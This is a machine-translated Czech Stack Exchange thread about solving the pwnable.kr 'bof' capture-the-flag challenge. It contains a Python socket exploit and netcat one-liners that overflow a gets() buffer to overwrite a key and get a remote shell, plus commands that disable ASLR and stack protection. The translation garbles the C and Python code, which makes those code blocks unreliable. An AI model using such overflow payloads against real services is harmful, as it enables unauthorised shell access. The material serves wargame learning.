Otázka:
Jak efektivně obejít detekci rozbíjení zásobníku GCC
oddcoder
2016-01-17 04:16:30 UTC
view on stackexchange narkive permalink

Vyřešil jsem výzvu bof na http://pwnable.kr/play.php je nutné rozbít hromadu následujícího kódu

  #include <stdio.h> # include <string.h> # include <stdlib.h>void func (int key) {char overflowme [32]; printf ("overflow me:"); dostane (přetečení); // rozbij mě! if (key! = 0xcafebabe) {system ("/ bin / sh"); } else {printf ("Nah .. \ n"); }} int main (int argc, char * argv []) {func (0xdeadbeef); návrat 0;}  

a dostal jsem verzi kompilátoru, kterou jsem měl zneužít úkol byl přímočarý, ale když přetekám pole overflowme kontrolu, kterou jsem nikdy nepřenesl do / bin / sh místo toho dostanu něco jako *** zjištěno rozbití zásobníku ***: ./bof ukončeno pokus1: zkuste vyplnit pole nulami kromě key but failedattempt2: get dump memory for where the array is stored and overflow the array with that dump but still failed

Hlasuji pro uzavření této otázky mimo téma, protože si nemyslím, že stackexchange je tím správným místem pro zkazení wargames: jsou určeny k hraní a zveřejnění kompletního řešení zabije zábavu pro každého hráče.
Důvod, proč je předpona 52 bajtů místo 32, je také 8 bajtů kanárských, plus 8 bajtů mezi kanárem a okrajem zásobníku (kanár je v zásobníku [-0x10]) a 4 bajty mezi okrajem kanálu stack a parametr (parametr je na zásobníku [0x4]), celkem tedy o 20 bytů navíc.
Tři odpovědi:
Jason Geffner
2016-01-17 05:10:29 UTC
view on stackexchange narkive permalink

Nemusíte obcházet detekci rozbíjení zásobníku gcc. Pokud správně přepíšete klíč , získáte interaktivní shell před provedením kontroly zásobníku na konci func () . Důkaz ve formě skriptu Pythonu:

  import sockets = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect (("pwnable.kr", 9000)) s.send ("A" * 52 + "\ xBE \ xBA \ xFE \ xCA" + "\ x0A") print "Nyní máte interaktivní shell :)" zatímco True: s.send (raw_input () + "\ x0A ") print s.recv (1024)  
zkusil jsem to `echo -n -e" \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xbe \ xba \ xfe \ xca \ x00 "| nc pwnable.kr 9000`, ale nefungovalo to Pokud můžete zjistit, jestli mi něco uniklo
`gets ()` očekává znak konce řádku na konci vstupního řetězce, ale místo toho používáte nulový bajt na konci příkazu `echo`.
Také si nemyslím, že `\ x00` pracuje s` echo`.
ve skutečnosti to fungovalo, můžete to ověřit pipetováním výstupu do xxd
@AhmedAbdElMawgood velmi stará otázka, ale zveřejnil jsem odpověď, která vám může pomoci pochopit, proč verze s ozvěnou nebude fungovat.
TGO
2018-08-19 18:56:54 UTC
view on stackexchange narkive permalink

Odpověď od Jasona je správným řešením. Chtěl jsem však dát alternativní odpověď bez Pythonu, ale z terminálu. IMO Python je vždy upřednostňován pro lepší automatizaci, ale někdy prostě chcete mít rychlé zneužití bez dalších nástrojů.

S ohledem na to by byl přirozený pokus něco jako níže:

  echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ xbe \ xba \ xfe \ xca \ x0a" | nc pwnable.kr 9000  

Koneckonců, toto je přesná replika výše uvedeného kódu v Pythonu, že? Kromě toho server prosí, aby se lišil:

*** zjištěno rozbití zásobníku ***: / home / bof / bof ukončeno přetečení mě:

Takže v čem je tedy problém?

Zamyslete se nad výše uvedeným příkazem. Odesílá spoustu znaků na konec vzdáleného procesu v naději, že běží / bin / sh. Stále nás však chyba přivítala. Důvodem je to, že posíláme správné užitečné zatížení, ale pak se zastavujeme . EOF. / bin / sh nemá žádný vstup, takže provádění pokračuje na další řádek, dokud se nenakopne ochrana zásobníku.

Důvod, proč Python funguje a příkaz echo nefunguje, je kontinuita. Python nezavírá stream, zatímco verze terminálu ano.

Chcete-li to dokázat, zde je o něco delší verze terminálu exploit, která ve skutečnosti funguje:

  echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ xbe \ xba \ xfe \ xca \ x0a" > payload.bin  

Nejprve uložíme přesný plat . Dále spustíme následující příkaz:

  cat payload.bin - | nc pwnable.kr 9000  

(Všimněte si - po payload.bin, poté, co kočka provede výstup obsahu payload.bin, začne vydávat vše, co přijde přes stdin)

A voila! Nyní jste skutečně uvnitř. Můžete zkusit zadat příkazy prostředí, například cat flag nebo touch / tmp / pwned nebo cokoli chcete.

Fíha! To bylo dlouhé. Doufám, že tato informace pomůže dalším zmateným duším, stejně jako mi pomohla před chvílí.

Not Star
2016-02-23 13:36:56 UTC
view on stackexchange narkive permalink

Nejprve byste měli deaktivovat ASLR v celém systému, můžete to udělat takto:

  echo "0" > / proc / sys / kernel / randomize_va_space  

za druhé, zkompilujte svůj program pomocí příznaku s -zexecstack -fno-stack-protector -g

příklad gcc program.c -o program -zexecstack -fno-stack-protector -g

na zdraví :)

To však nepomůže získat tento vzdálený příznak: /


Tyto otázky a odpovědi byly automaticky přeloženy z anglického jazyka.Původní obsah je k dispozici na webu stackexchange, za který děkujeme za licenci cc by-sa 3.0, pod kterou je distribuován.
Loading...